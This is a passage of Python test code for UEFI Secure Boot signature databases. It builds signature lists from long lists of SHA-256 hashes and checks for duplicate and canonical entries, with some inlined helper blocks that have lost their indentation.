('7EAC80A915C84CD4AFEC638904D94EB168A8557951A4D539B0713028552B6B8C', owner), ('E7681F153121EA1E67F74BBCB0CDC5E502702C1B8CC55FB65D702DFBA948B5F4', owner), ('DCCC3CE1C00EE4B0B10487D372A0FA47F5C26F57A359BE7B27801E144EACBAC4', owner), ('0257FF710F2A16E489B37493C07604A7CDA96129D8A8FD68D2B6AF633904315D', owner), ('3A91F0F9E5287FA2994C7D930B2C1A5EE14CE8E1C8304AE495ADC58CC4453C0C', owner), ('495300790E6C9BF2510DABA59DB3D57E9D2B85D7D7640434EC75BAA3851C74E5', owner), ('81A8B2C9751AEB1FABA7DBDE5EE9691DC0EAEE2A31C38B1491A8146756A6B770', owner), ('8E53EFDC15F852CEE5A6E92931BC42E6163CD30FF649CCA7E87252C3A459960B', owner), ('992D359AA7A5F789D268B94C11B9485A6B1CE64362B0EDB4441CCC187C39647B', owner), ('9FA4D5023FD43ECAFF4200BA7E8D4353259D2B7E5E72B5096EFF8027D66D1043', owner), ('D372C0D0F4FDC9F52E9E1F23FC56EE72414A17F350D0CEA6C26A35A6C3217A13', owner), ('5C5805196A85E93789457017D4F9EB6828B97C41CB9BA6D3DC1FCC115F527A55', owner), ('804E354C6368BB27A90FAE8E498A57052B293418259A019C4F53A2007254490F', owner), ('03F64A29948A88BEFFDB035E0B09A7370CCF0CD9CE6BCF8E640C2107318FAB87', owner), ('05D87E15713454616F5B0ED7849AB5C1712AB84F02349478EC2A38F970C01489', owner), ('06EB5BADD26E4FAE65F9A42358DEEF7C18E52CC05FBB7FC76776E69D1B982A14', owner), ('08BB2289E9E91B4D20FF3F1562516AB07E979B2C6CEFE2AB70C6DFC1199F8DA5', owner), ('0928F0408BF725E61D67D87138A8EEBC52962D2847F16E3587163B160E41B6AD', owner), ('09F98AA90F85198C0D73F89BA77E87EC6F596C491350FB8F8BBA80A62FBB914B', owner), ('0A75EA0B1D70EAA4D3F374246DB54FC7B43E7F596A353309B9C36B4FD975725E', owner), ('0C51D7906FC4931149765DA88682426B2CFE9E6AA4F27253EAB400111432E3A7', owner), ('0FA3A29AD05130D7FE5BF4D2596563CDED1D874096AACC181069932A2E49519A', owner), ('147730B42F11FE493FE902B6251E97CD2B6F34D36AF59330F11D02A42F940D07', owner), ('148FE18F715A9FCFE1A444CE0FFF7F85869EB422330DC04B314C0F295D6DA79E', owner), ('1B909115A8D473E51328A87823BD621CE655DFAE54FA2BFA72FDC0298611D6B8', owner), ('1D8B58C1FDB8DA8B33CCEE1E5F973AF734D90EF317E33F5DB1573C2BA088A80C', owner), ('1F179186EFDF5EF2DE018245BA0EAE8134868601BA0D35FF3D9865C1537CED93', owner), ('270C84B29D86F16312B06AAAE4EBB8DFF8DE7D080D825B8839FF1766274EFF47', owner), ('29CCA4544EA330D61591C784695C149C6B040022AC7B5B89CBD72800D10840EA', owner), ('2B2298EAA26B9DC4A4558AE92E7BB0E4F85CF34BF848FDF636C0C11FBEC49897', owner), ('2DCF8E8D817023D1E8E1451A3D68D6EC30D9BED94CBCB87F19DDC1CC0116AC1A', owner), ('311A2AC55B50C09B30B3CC93B994A119153EEEAC54EF892FC447BBBD96101AA1', owner), ('32AD3296829BC46DCFAC5EDDCB9DBF2C1EED5C11F83B2210CF9C6E60C798D4A7', owner), ('340DA32B58331C8E2B561BAF300CA9DFD6B91CD2270EE0E2A34958B1C6259E85', owner), ('362ED31D20B1E00392281231A96F0A0ACFDE02618953E695C9EF2EB0BAC37550', owner), ('367A31E5838831AD2C074647886A6CDFF217E6B1BA910BFF85DC7A87AE9B5E98', owner), ('3765D769C05BF98B427B3511903B2137E8A49B6F859D0AF159ED6A86786AA634', owner), ('386D695CDF2D4576E01BCACCF5E49E78DA51AF9955C0B8FA7606373B007994B3', owner), ('3A4F74BEAFAE2B9383AD8215D233A6CF3D057FB3C7E213E897BEEF4255FAEE9D', owner), ('3AE76C45CA70E9180C1559981F42622DD251BCA1FBE6B901C52EC11673B03514', owner), ('3BE8E7EB348D35C1928F19C769846788991641D1F6CF09514CA10269934F7359', owner), ('3E3926F0B8A15AD5A14167BB647A843C3D4321E35DBC44DCE8C837417F2D28B0', owner), ('400AC66D59B7B094A9E30B01A6BD013AFF1D30570F83E7592F421DBE5FF4BA8F', owner), ('4185821F6DAB5BA8347B78A22B5F9A0A7570CA5C93A74D478A793D83BAC49805', owner), ('41D1EEB177C0324E17DD6557F384E532DE0CF51A019A446B01EFB351BC259D77', owner), ('45876B4DD861D45B3A94800774027A5DB45A48B2A729410908B6412F8A87E95D', owner), ('4667BF250CD7C1A06B8474C613CDB1DF648A7F58736FBF57D05D6F755DAB67F4', owner), ('47FF1B63B140B6FC04ED79131331E651DA5B2E2F170F5DAEF4153DC2FBC532B1', owner), ('47FF1B63B140B6FC04ED79131331E651DA5B2E2F170F5DAEF4153DC2FBC532B1', owner), ('57E6913AFACC5222BD76CDAF31F8ED88895464255374EF097A82D7F59AD39596', owner), ('5890FA227121C76D90ED9E63C87E3A6533EEA0F6F0A1A23F1FC445139BC6BCDF', owner), ('5D1E9ACBBB4A7D024B6852DF025970E2CED66FF622EE019CD0ED7FD841CCAD02', owner), ('61341E07697978220EA61E85DCD2421343F2C1BF35CC5B8D0AD2F0226F391479', owner), ('61CEC4A377BF5902C0FEAEE37034BF97D5BC6E0615E23A1CDFBAE6E3F5FB3CFD', owner), ('631F0857B41845362C90C6980B4B10C4B628E23DBE24B6E96C128AE3DCB0D5AC', owner), ('65B2E7CC18D903C331DF1152DF73CA0DC932D29F17997481C56F3087B2DD3147', owner), ('66AA13A0EDC219384D9C425D3927E6ED4A5D1940C5E7CD4DAC88F5770103F2F1', owner), ('6873D2F61C29BD52E954EEFF5977AA8367439997811A62FF212C948133C68D97', owner), ('6DBBEAD23E8C860CF8B47F74FBFCA5204DE3E28B881313BB1D1ECCDC4747934E', owner), ('6DEAD13257DFC3CCC6A4B37016BA91755FE9E0EC1F415030942E5ABC47F07C88', owner), ('70A1450AF2AD395569AD0AFEB1D9C125324EE90AEC39C258880134D4892D51AB', owner), ('72C26F827CEB92989798961BC6AE748D141E05D3EBCFB65D9041B266C920BE82', owner), ('781764102188A8B4B173D4A8F5EC94D828647156097F99357A581E624B377509', owner), ('788383A4C733BB87D2BF51673DC73E92DF15AB7D51DC715627AE77686D8D23BC', owner), ('78B4EDCAABC8D9093E20E217802CAEB4F09E23A3394C4ACC6E87E8F35395310F', owner), ('7F49CCB309323B1C7AB11C93C955B8C744F0A2B75C311F495E18906070500027', owner), ('82ACBA48D5236CCFF7659AFC14594DEE902BD6082EF1A30A0B9B508628CF34F4', owner), ('894D7839368F3298CC915AE8742EF330D7A26699F459478CF22C2B6BB2850166', owner), ('8C0349D708571AE5AA21C11363482332073297D868F29058916529EFC520EF70', owner), ('8D93D60C691959651476E5DC464BE12A85FA5280B6F524D4A1C3FCC9D048CFAD', owner), ('9063F5FBC5E57AB6DE6C9488146020E172B176D5AB57D4C89F0F600E17FE2DE2', owner), ('91656AA4EF493B3824A0B7263248E4E2D657A5C8488D880CB65B01730932FB53', owner), ('91971C1497BF8E5BC68439ACC48D63EBB8FAABFD764DCBE82F3BA977CAC8CF6A', owner), ('947078F97C6196968C3AE99C9A5D58667E86882CF6C8C9D58967A496BB7AF43C', owner), ('96E4509450D380DAC362FF8E295589128A1F1CE55885D20D89C27BA2A9D00909', owner), ('9783B5EE4492E9E891C655F1F48035959DAD453C0E623AF0FE7BF2C0A57885E3', owner), ('97A51A094444620DF38CD8C6512CAC909A75FD437AE1E4D22929807661238127', owner), ('97A8C5BA11D61FEFBB5D6A05DA4E15BA472DC4C6CD4972FC1A035DE321342FE4', owner), ('992820E6EC8C41DAAE4BD8AB48F58268E943A670D35CA5E2BDCD3E7C4C94A072', owner), ('992D359AA7A5F789D268B94C11B9485A6B1CE64362B0EDB4441CCC187C39647B', owner), ('9954A1A99D55E8B189AB1BCA414B91F6A017191F6C40A86B6F3EF368DD860031', owner), ('9BAF4F76D76BF5D6A897BFBD5F429BA14D04E08B48C3EE8D76930A828FFF3891', owner), ('9C259FCB301D5FC7397ED5759963E0EF6B36E42057FD73046E6BD08B149F751C', owner), ('9DD2DCB72F5E741627F2E9E03AB18503A3403CF6A904A479A4DB05D97E2250A9', owner), ('9ED33F0FBC180BC032F8909CA2C4AB3418EDC33A45A50D2521A3B5876AA3EA2C', owner), ('A4D978B7C4BDA15435D508F8B9592EC2A5ADFB12EA7BAD146A35ECB53094642F', owner), ('A924D3CAD6DA42B7399B96A095A06F18F6B1ABA5B873B0D5F3A0EE2173B48B6C', owner), ('AD3BE589C0474E97DE5BB2BF33534948B76BB80376DFDC58B1FED767B5A15BFC', owner), ('B8D6B5E7857B45830E017C7BE3D856ADEB97C7290EB0665A3D473A4BEB51DCF3', owner), ('B93F0699598F8B20FA0DACC12CFCFC1F2568793F6E779E04795E6D7C22530F75', owner), ('BB01DA0333BB639C7E1C806DB0561DC98A5316F22FEF1090FB8D0BE46DAE499A', owner), ('BC75F910FF320F5CB5999E66BBD4034F4AE537A42FDFEF35161C5348E366E216', owner), ('BDD01126E9D85710D3FE75AF1CC1702A29F081B4F6FDF6A2B2135C0297A9CEC5', owner), ('BE435DF7CD28AA2A7C8DB4FC8173475B77E5ABF392F76B7C76FA3F698CB71A9A', owner), ('BEF7663BE5EA4DBFD8686E24701E036F4C03FB7FCD67A6C566ED94CE09C44470', owner), ('C2469759C1947E14F4B65F72A9F5B3AF8B6F6E727B68BB0D91385CBF42176A8A', owner), ('C3505BF3EC10A51DACE417C76B8BD10939A065D1F34E75B8A3065EE31CC69B96', owner), ('C42D11C70CCF5E8CF3FB91FDF21D884021AD836CA68ADF2CBB7995C10BF588D4', owner), ('C452AB846073DF5ACE25CCA64D6B7A09D906308A1A65EB5240E3C4EBCAA9CC0C', owner), ('C69D64A5B839E41BA16742527E17056A18CE3C276FD26E34901A1BC7D0E32219', owner), ('CB340011AFEB0D74C4A588B36EBAA441961608E8D2FA80DCA8C13872C850796B', owner), ('CC8EEC6EB9212CBF897A5ACE7E8ABEECE1079F1A6DEF0A789591CB1547F1F084', owner), ('CF13A243C1CD2E3C8CEB7E70100387CECBFB830525BBF9D0B70C79ADF3E84128', owner), ('D89A11D16C488DD4FBBC541D4B07FAF8670D660994488FE54B1FBFF2704E4288', owner), ('D9668AB52785086786C134B5E4BDDBF72452813B6973229AB92AA1A54D201BF5', owner), ('DA3560FD0C32B54C83D4F2FF869003D2089369ACF2C89608F8AFA7436BFA4655', owner), ('DF02AAB48387A9E1D4C65228089CB6ABE196C8F4B396C7E4BBC395DE136977F6', owner), ('DF91AC85A94FCD0CFB8155BD7CBEFAAC14B8C5EE7397FE2CC85984459E2EA14E', owner), ('E051B788ECBAEDA53046C70E6AF6058F95222C046157B8C4C1B9C2CFC65F46E5', owner), ('E051B788ECBAEDA53046C70E6AF6058F95222C046157B8C4C1B9C2CFC65F46E5', owner), ('E36DFC719D2114C2E39AEA88849E2845AB326F6F7FE74E0E539B7E54D81F3631', owner), ('E39891F48BBCC593B8ED86CE82CE666FC1145B9FCBFD2B07BAD0A89BF4C7BFBF', owner), ('E6856F137F79992DC94FA2F43297EC32D2D9A76F7BE66114C6A13EFC3BCDF5C8', owner), ('EAFF8C85C208BA4D5B6B8046F5D6081747D779BADA7768E649D047FF9B1F660C', owner), ('EE83A566496109A74F6AC6E410DF00BB29A290E0021516AE3B8A23288E7E2E72', owner), ('EED7E0EFF2ED559E2A79EE361F9962AF3B1E999131E30BB7FD07546FAE0A7267', owner), ('F1B4F6513B0D544A688D13ADC291EFA8C59F420CA5DCB23E0B5A06FA7E0D083D', owner), ('F2A16D35B554694187A70D40CA682959F4F35C2CE0EAB8FD64F7AC2AB9F5C24A', owner), ('F31FD461C5E99510403FC97C1DA2D8A9CBE270597D32BADF8FD66B77495F8D94', owner), ('F48E6DD8718E953B60A24F2CBEA60A9521DEAE67DB25425B7D3ACE3C517DD9B7', owner), ('C805603C4FA038776E42F263C604B49D96840322E1922D5606A9B0BBB5BFFE6F', owner), ('1F16078CCE009DF62EDB9E7170E66CAAE670BCE71B8F92D38280C56AA372031D', owner), ('37A480374DAF6202CE790C318A2BB8AA3797311261160A8E30558B7DEA78C7A6', owner), ('408B8B3DF5ABB043521A493525023175AB1261B1DE21064D6BF247CE142153B9', owner), ('540801DD345DC1C33EF431B35BF4C0E68BD319B577B9ABE1A9CFF1CBC39F548F', owner)]
<DeepExtract>
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_SHA256_GUID)
SignatureSize = EfiSignatureDataEfiCertSha256.STATIC_STRUCT_SIZE if newHashes else 0
Esl.AddSignatureHeader(SigHeader=None, SigSize=SignatureSize)
for entry in newHashes:
(hashStr, ownerGuidStr) = entry
hashBytes = bytes.fromhex(hashStr)
Esl.AddSignatureData(EfiSignatureDataEfiCertSha256(digest=hashBytes, sigowner=uuid.UUID(ownerGuidStr)))
newHash_esl = Esl
</DeepExtract>
esd = EfiSignatureDatabase(EslList=[originalEsl, cert1_esl, cert2_esl, newHash_esl])
expected_dupes = [('47FF1B63B140B6FC04ED79131331E651DA5B2E2F170F5DAEF4153DC2FBC532B1', owner), ('992D359AA7A5F789D268B94C11B9485A6B1CE64362B0EDB4441CCC187C39647B', owner), ('C452AB846073DF5ACE25CCA64D6B7A09D906308A1A65EB5240E3C4EBCAA9CC0C', owner), ('E051B788ECBAEDA53046C70E6AF6058F95222C046157B8C4C1B9C2CFC65F46E5', owner)]
<DeepExtract>
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_SHA256_GUID)
SignatureSize = EfiSignatureDataEfiCertSha256.STATIC_STRUCT_SIZE if expected_dupes else 0
Esl.AddSignatureHeader(SigHeader=None, SigSize=SignatureSize)
for entry in expected_dupes:
(hashStr, ownerGuidStr) = entry
hashBytes = bytes.fromhex(hashStr)
Esl.AddSignatureData(EfiSignatureDataEfiCertSha256(digest=hashBytes, sigowner=uuid.UUID(ownerGuidStr)))
expected_dupes_esl = Esl
</DeepExtract>
expected_dupes_esd = EfiSignatureDatabase(EslList=[expected_dupes_esl])
canonicalHashes = [('0257FF710F2A16E489B37493C07604A7CDA96129D8A8FD68D2B6AF633904315D', owner), ('02E6216ACAEF6401401FA555ECBED940B1A5F2569AED92956137AE58482EF1B7', owner), ('03F64A29948A88BEFFDB035E0B09A7370CCF0CD9CE6BCF8E640C2107318FAB87', owner), ('05D87E15713454616F5B0ED7849AB5C1712AB84F02349478EC2A38F970C01489', owner), ('06EB5BADD26E4FAE65F9A42358DEEF7C18E52CC05FBB7FC76776E69D1B982A14', owner), ('075EEA060589548BA060B2FEED10DA3C20C7FE9B17CD026B94E8A683B8115238', owner), ('07E6C6A858646FB1EFC67903FE28B116011F2367FE92E6BE2B36999EFF39D09E', owner), ('08BB2289E9E91B4D20FF3F1562516AB07E979B2C6CEFE2AB70C6DFC1199F8DA5', owner), ('0928F0408BF725E61D67D87138A8EEBC52962D2847F16E3587163B160E41B6AD', owner), ('09DF5F4E511208EC78B96D12D08125FDB603868DE39F6F72927852599B659C26', owner), ('09F98AA90F85198C0D73F89BA77E87EC6F596C491350FB8F8BBA80A62FBB914B', owner), ('0A75EA0B1D70EAA4D3F374246DB54FC7B43E7F596A353309B9C36B4FD975725E', owner), ('0BBB4392DAAC7AB89B30A4AC657531B97BFAAB04F90B0DAFE5F9B6EB90A06374', owner), ('0C189339762DF336AB3DD006A463DF715A39CFB0F492465C600E6C6BD7BD898C', owner), ('0C51D7906FC4931149765DA88682426B2CFE9E6AA4F27253EAB400111432E3A7', owner), ('0CE02100F67C7EF85F4EED368F02BF7092380A3C23CA91FD7F19430D94B00C19', owner), ('0D0DBECA6F29ECA06F331A7D72E4884B12097FB348983A2A14A0D73F4F10140F', owner), ('0DC24C75EB1AEF56B9F13AB9DE60E2ECA1C4510034E290BBB36CF60A549B234C', owner), ('0DC9F3FB99962148C3CA833632758D3ED4FC8D0B0007B95B31E6528F2ACD5BFC', owner), ('0FA3A29AD05130D7FE5BF4D2596563CDED1D874096AACC181069932A2E49519A', owner), ('106FACEACFECFD4E303B74F480A08098E2D0802B936F8EC774CE21F31686689C', owner), ('10D45FCBA396AEF3153EE8F6ECAE58AFE8476A280A2026FC71F6217DCF49BA2F', owner), ('147730B42F11FE493FE902B6251E97CD2B6F34D36AF59330F11D02A42F940D07', owner), ('148FE18F715A9FCFE1A444CE0FFF7F85869EB422330DC04B314C0F295D6DA79E', owner), ('174E3A0B5B43C6A607BBD3404F05341E3DCF396267CE94F8B50E2E23A9DA920C', owner), ('18333429FF0562ED9F97033E1148DCEEE52DBE2E496D5410B5CFD6C864D2D10F', owner), ('1AEC84B84B6C65A51220A9BE7181965230210D62D6D33C48999C6B295A2B0A06', owner), ('1B909115A8D473E51328A87823BD621CE655DFAE54FA2BFA72FDC0298611D6B8', owner), ('1CB4DCCAF2C812CFA7B4938E1371FE2B96910FE407216FD95428672D6C7E7316', owner), ('1D8B58C1FDB8DA8B33CCEE1E5F973AF734D90EF317E33F5DB1573C2BA088A80C', owner), ('1F16078CCE009DF62EDB9E7170E66CAAE670BCE71B8F92D38280C56AA372031D', owner), ('1F179186EFDF5EF2DE018245BA0EAE8134868601BA0D35FF3D9865C1537CED93', owner), ('2679650FE341F2CF1EA883460B3556AAAF77A70D6B8DC484C9301D1B746CF7B5', owner), ('270C84B29D86F16312B06AAAE4EBB8DFF8DE7D080D825B8839FF1766274EFF47', owner), ('29C6EB52B43C3AA18B2CD8ED6EA8607CEF3CFAE1BAFE1165755CF2E614844A44', owner), ('29CCA4544EA330D61591C784695C149C6B040022AC7B5B89CBD72800D10840EA', owner), ('2B2298EAA26B9DC4A4558AE92E7BB0E4F85CF34BF848FDF636C0C11FBEC49897', owner), ('2B99CF26422E92FE365FBF4BC30D27086C9EE14B7A6FFF44FB2F6B9001699939', owner), ('2BBF2CA7B8F1D91F27EE52B6FB2A5DD049B85A2B9B529C5D6662068104B055F8', owner), ('2C73D93325BA6DCBE589D4A4C63C5B935559EF92FBF050ED50C4E2085206F17D', owner), ('2DCF8E8D817023D1E8E1451A3D68D6EC30D9BED94CBCB87F19DDC1CC0116AC1A', owner), ('2E70916786A6F773511FA7181FAB0F1D70B557C6322EA923B2A8D3B92B51AF7D', owner), ('306628FA5477305728BA4A467DE7D0387A54F569D3769FCE5E75EC89D28D1593', owner), ('311A2AC55B50C09B30B3CC93B994A119153EEEAC54EF892FC447BBBD96101AA1', owner), ('32AD3296829BC46DCFAC5EDDCB9DBF2C1EED5C11F83B2210CF9C6E60C798D4A7', owner), ('32F5940CA29DD812A2C145E6FC89646628FFCC7C7A42CAE512337D8D29C40BBD', owner), ('340DA32B58331C8E2B561BAF300CA9DFD6B91CD2270EE0E2A34958B1C6259E85', owner), ('3608EDBAF5AD0F41A414A1777ABF2FAF5E670334675EC3995E6935829E0CAAD2', owner), ('362ED31D20B1E00392281231A96F0A0ACFDE02618953E695C9EF2EB0BAC37550', owner), ('363384D14D1F2E0B7815626484C459AD57A318EF4396266048D058C5A19BBF76', owner), ('367A31E5838831AD2C074647886A6CDFF217E6B1BA910BFF85DC7A87AE9B5E98', owner), ('3765D769C05BF98B427B3511903B2137E8A49B6F859D0AF159ED6A86786AA634', owner), ('37A480374DAF6202CE790C318A2BB8AA3797311261160A8E30558B7DEA78C7A6', owner), ('3841D221368D1583D75C0A02E62160394D6C4E0A6760B6F607B90362BC855B02', owner), ('386D695CDF2D4576E01BCACCF5E49E78DA51AF9955C0B8FA7606373B007994B3', owner), ('39DBC2288EF44B5F95332CB777E31103E840DBA680634AA806F5C9B100061802', owner), ('3A4F74BEAFAE2B9383AD8215D233A6CF3D057FB3C7E213E897BEEF4255FAEE9D', owner), ('3A91F0F9E5287FA2994C7D930B2C1A5EE14CE8E1C8304AE495ADC58CC4453C0C', owner), ('3AE76C45CA70E9180C1559981F42622DD251BCA1FBE6B901C52EC11673B03514', owner), ('3B0287533E0CC3D0EC1AA823CBF0A941AAD8721579D1C499802DD1C3A636B8A9', owner), ('3BE8E7EB348D35C1928F19C769846788991641D1F6CF09514CA10269934F7359', owner), ('3E3926F0B8A15AD5A14167BB647A843C3D4321E35DBC44DCE8C837417F2D28B0', owner), ('3ECE27CBB3EC4438CCE523B927C4F05FDC5C593A3766DB984C5E437A3FF6A16B', owner), ('3FCE9B9FDF3EF09D5452B0F95EE481C2B7F06D743A737971558E70136ACE3E73', owner), ('400AC66D59B7B094A9E30B01A6BD013AFF1D30570F83E7592F421DBE5FF4BA8F', owner), ('408B8B3DF5ABB043521A493525023175AB1261B1DE21064D6BF247CE142153B9', owner), ('4185821F6DAB5BA8347B78A22B5F9A0A7570CA5C93A74D478A793D83BAC49805', owner), ('41D1EEB177C0324E17DD6557F384E532DE0CF51A019A446B01EFB351BC259D77', owner), ('4397DACA839E7F63077CB50C92DF43BC2D2FB2A8F59F26FC7A0E4BD4D9751692', owner), ('45876B4DD861D45B3A94800774027A5DB45A48B2A729410908B6412F8A87E95D', owner), ('45C7C8AE750ACFBB48FC37527D6412DD644DAED8913CCD8A24C94D856967DF8E', owner), ('4667BF250CD7C1A06B8474C613CDB1DF648A7F58736FBF57D05D6F755DAB67F4', owner), ('47CC086127E2069A86E03A6BEF2CD410F8C55A6D6BDB362168C31B2CE32A5ADF', owner), ('47FF1B63B140B6FC04ED79131331E651DA5B2E2F170F5DAEF4153DC2FBC532B1', owner), ('495300790E6C9BF2510DABA59DB3D57E9D2B85D7D7640434EC75BAA3851C74E5', owner), ('4B8668A5D465BCDD9000AA8DFCFF42044FCBD0AECE32FC7011A83E9160E89F09', owner), ('518831FE7382B514D03E15C621228B8AB65479BD0CBFA3C5C1D0F48D9C306135', owner), ('5391C3A2FB112102A6AA1EDC25AE77E19F5D6F09CD09EEB2509922BFCD5992EA', owner), ('540801DD345DC1C33EF431B35BF4C0E68BD319B577B9ABE1A9CFF1CBC39F548F', owner), ('55B99B0DE53DBCFE485AA9C737CF3FB616EF3D91FAB599AA7CAB19EDA763B5BA', owner), ('57E6913AFACC5222BD76CDAF31F8ED88895464255374EF097A82D7F59AD39596', owner), ('5890FA227121C76D90ED9E63C87E3A6533EEA0F6F0A1A23F1FC445139BC6BCDF', owner), ('58FB941AEF95A25943B3FB5F2510A0DF3FE44C58C95E0AB80487297568AB9771', owner), ('5AE949EA8855EB93E439DBC65BDA2E42852C2FDF6789FA146736E3C3410F2B5C', owner), ('5B248E913D71853D3DA5AEDD8D9A4BC57A917126573817FB5FCB2D86A2F1C886', owner), ('5C5805196A85E93789457017D4F9EB6828B97C41CB9BA6D3DC1FCC115F527A55', owner), ('5D1E9ACBBB4A7D024B6852DF025970E2CED66FF622EE019CD0ED7FD841CCAD02', owner), ('61341E07697978220EA61E85DCD2421343F2C1BF35CC5B8D0AD2F0226F391479', owner), ('61CEC4A377BF5902C0FEAEE37034BF97D5BC6E0615E23A1CDFBAE6E3F5FB3CFD', owner), ('631F0857B41845362C90C6980B4B10C4B628E23DBE24B6E96C128AE3DCB0D5AC', owner), ('64575BD912789A2E14AD56F6341F52AF6BF80CF94400785975E9F04E2D64D745', owner), ('65B2E7CC18D903C331DF1152DF73CA0DC932D29F17997481C56F3087B2DD3147', owner), ('65F3C0A01B8402D362B9722E98F75E5E991E6C186E934F7B2B2E6BE6DEC800EC', owner), ('66AA13A0EDC219384D9C425D3927E6ED4A5D1940C5E7CD4DAC88F5770103F2F1', owner), ('6873D2F61C29BD52E954EEFF5977AA8367439997811A62FF212C948133C68D97', owner), ('68EE4632C7BE1C66C83E89DD93EAEE1294159ABF45B4C2C72D7DC7499AA2A043', owner), ('6B1D138078E4418AA68DEB7BB35E066092CF479EEB8CE4CD12E7D072CCB42F66', owner), ('6C8854478DD559E29351B826C06CB8BFEF2B94AD3538358772D193F82ED1CA11', owner), ('6DBBEAD23E8C860CF8B47F74FBFCA5204DE3E28B881313BB1D1ECCDC4747934E', owner), ('6DEAD13257DFC3CCC6A4B37016BA91755FE9E0EC1F415030942E5ABC47F07C88', owner), ('6EFEFE0B5B01478B7B944C10D3A8ACA2CCA4208888E2059F8A06CB5824D7BAB0', owner), ('6F1428FF71C9DB0ED5AF1F2E7BBFCBAB647CC265DDF5B293CDB626F50A3A785E', owner), ('70A1450AF2AD395569AD0AFEB1D9C125324EE90AEC39C258880134D4892D51AB', owner), ('71F2906FD222497E54A34662AB2497FCC81020770FF51368E9E3D9BFCBFD6375', owner), ('726B3EB654046A30F3F83D9B96CE03F670E9A806D1708A0371E62DC49D2C23C1', owner), ('72C26F827CEB92989798961BC6AE748D141E05D3EBCFB65D9041B266C920BE82', owner), ('72E0BD1867CF5D9D56AB158ADF3BDDBC82BF32A8D8AA1D8C5E2F6DF29428D6D8', owner), ('77DD190FA30D88FF5E3B011A0AE61E6209780C130B535ECB87E6F0888A0B6B2F', owner), ('781764102188A8B4B173D4A8F5EC94D828647156097F99357A581E624B377509', owner), ('7827AF99362CFAF0717DADE4B1BFE0438AD171C15ADDC248B75BF8CAA44BB2C5', owner), ('788383A4C733BB87D2BF51673DC73E92DF15AB7D51DC715627AE77686D8D23BC', owner), ('78B4EDCAABC8D9093E20E217802CAEB4F09E23A3394C4ACC6E87E8F35395310F', owner), ('7BC9CB5463CE0F011FB5085EB8BA77D1ACD283C43F4A57603CC113F22CEBC579', owner), ('7EAC80A915C84CD4AFEC638904D94EB168A8557951A4D539B0713028552B6B8C', owner), ('7F49CCB309323B1C7AB11C93C955B8C744F0A2B75C311F495E18906070500027', owner), ('804E354C6368BB27A90FAE8E498A57052B293418259A019C4F53A2007254490F', owner), ('80B4D96931BF0D02FD91A61E19D14F1DA452E66DB2408CA8604D411F92659F0A', owner), ('81A8B2C9751AEB1FABA7DBDE5EE9691DC0EAEE2A31C38B1491A8146756A6B770', owner), ('81A8B965BB84D3876B9429A95481CC955318CFAA1412D808C8A33BFD33FFF0E4', owner), ('81D8FB4C9E2E7A8225656B4B8273B7CBA4B03EF2E9EB20E0A0291624ECA1BA86', owner), ('82ACBA48D5236CCFF7659AFC14594DEE902BD6082EF1A30A0B9B508628CF34F4', owner), ('82DB3BCEB4F60843CE9D97C3D187CD9B5941CD3DE8100E586F2BDA5637575F67', owner), ('835881F2A5572D7059B5C8635018552892E945626F115FC9CA07ACF7BDE857A4', owner), ('894D7839368F3298CC915AE8742EF330D7A26699F459478CF22C2B6BB2850166', owner), ('895A9785F617CA1D7ED44FC1A1470B71F3F1223862D9FF9DCC3AE2DF92163DAF', owner), ('89F3D1F6E485C334CD059D0995E3CDFDC00571B1849854847A44DC5548E2DCFB', owner), ('8AD64859F195B5F58DAFAA940B6A6167ACD67A886E8F469364177221C55945B9', owner), ('8BF434B49E00CCF71502A2CD900865CB01EC3B3DA03C35BE505FDF7BD563F521', owner), ('8C0349D708571AE5AA21C11363482332073297D868F29058916529EFC520EF70', owner), ('8D8EA289CFE70A1C07AB7365CB28EE51EDD33CF2506DE888FBADD60EBF80481C', owner), ('8D93D60C691959651476E5DC464BE12A85FA5280B6F524D4A1C3FCC9D048CFAD', owner), ('8E53EFDC15F852CEE5A6E92931BC42E6163CD30FF649CCA7E87252C3A459960B', owner), ('9063F5FBC5E57AB6DE6C9488146020E172B176D5AB57D4C89F0F600E17FE2DE2', owner), ('90FBE70E69D633408D3E170C6832DBB2D209E0272527DFB63D49D29572A6F44C', owner), ('91656AA4EF493B3824A0B7263248E4E2D657A5C8488D880CB65B01730932FB53', owner), ('91971C1497BF8E5BC68439ACC48D63EBB8FAABFD764DCBE82F3BA977CAC8CF6A', owner), ('939AEEF4F5FA51E23340C3F2E49048CE8872526AFDF752C3A7F3A3F2BC9F6049', owner), ('947078F97C6196968C3AE99C9A5D58667E86882CF6C8C9D58967A496BB7AF43C', owner), ('95049F0E4137C790B0D2767195E56F73807D123ADCF8F6E7BF2D4D991D305F89', owner), ('96E4509450D380DAC362FF8E295589128A1F1CE55885D20D89C27BA2A9D00909', owner), ('9783B5EE4492E9E891C655F1F48035959DAD453C0E623AF0FE7BF2C0A57885E3', owner), ('97A51A094444620DF38CD8C6512CAC909A75FD437AE1E4D22929807661238127', owner), ('97A8C5BA11D61FEFBB5D6A05DA4E15BA472DC4C6CD4972FC1A035DE321342FE4', owner), ('992820E6EC8C41DAAE4BD8AB48F58268E943A670D35CA5E2BDCD3E7C4C94A072', owner), ('992D359AA7A5F789D268B94C11B9485A6B1CE64362B0EDB4441CCC187C39647B', owner), ('9954A1A99D55E8B189AB1BCA414B91F6A017191F6C40A86B6F3EF368DD860031', owner), ('9998D363C491BE16BD74BA10B94D9291001611736FDCA643A36664BC0F315A42', owner), ('9BAF4F76D76BF5D6A897BFBD5F429BA14D04E08B48C3EE8D76930A828FFF3891', owner), ('9C259FCB301D5FC7397ED5759963E0EF6B36E42057FD73046E6BD08B149F751C', owner), ('9D00AE4CD47A41C783DC48F342C076C2C16F3413F4D2DF50D181CA3BB5AD859D', owner), ('9DD2DCB72F5E741627F2E9E03AB18503A3403CF6A904A479A4DB05D97E2250A9', owner), ('9E4A69173161682E55FDE8FEF560EB88EC1FFEDCAF04001F66C0CAF707B2B734', owner), ('9ED33F0FBC180BC032F8909CA2C4AB3418EDC33A45A50D2521A3B5876AA3EA2C', owner), ('9F1863ED5717C394B42EF10A6607B144A65BA11FB6579DF94B8EB2F0C4CD60C1', owner), ('9FA4D5023FD43ECAFF4200BA7E8D4353259D2B7E5E72B5096EFF8027D66D1043', owner), ('A4D978B7C4BDA15435D508F8B9592EC2A5ADFB12EA7BAD146A35ECB53094642F', owner), ('A6B5151F3655D3A2AF0D472759796BE4A4200E5495A7D869754C4848857408A7', owner), 